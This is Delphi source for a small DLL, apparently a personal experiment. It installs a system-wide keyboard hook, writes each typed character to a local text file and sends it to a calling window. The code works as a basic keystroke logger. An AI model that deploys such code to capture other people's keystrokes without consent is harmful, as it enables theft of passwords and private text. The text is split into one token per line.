library
simplehook;
uses
Messages, Windows, keyboardUnit;
var
HookHandle:hHook;
ft:textfile;
hwin: Hwnd;
function
KeyboardProc(Code:
Integer
; wParam: wParam; LParam: LParam):
integer
; stdcall;
var
myHKL: HKL;
KS: TKeyboardState;
SC:
integer
;
key1:
char
;
begin
if
code<
0
then
Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
else
if
byte
(LParam
shr
24
)<
$80
then
begin
myHKL:=GetKeyboardLayout(GetCurrentThreadID);
SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL);
GetKeyboardState(KS);
ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1),
0
, MyHKL);
try
append(ft);
except
exit;
end
;
writeln
(ft,
'key='
, key1 );
closefile(ft);
sendMessage(hwin, WM_MYKEYPRESS, ord(key1),
0
);
Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end
;
end
;
procedure
SetHook(wnd:hwnd); stdcall;
begin
hwin:= wnd;
HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance,
0
);
end
;
procedure
DelHook; stdcall;
begin
UnhookWindowsHookEx(HookHandle);
end
;
exports
SetHook, Delhook;
begin
assignfile(ft,
'z:\Программирование\пробы\Test\Hooks\Keyhook.txt'
);
end
.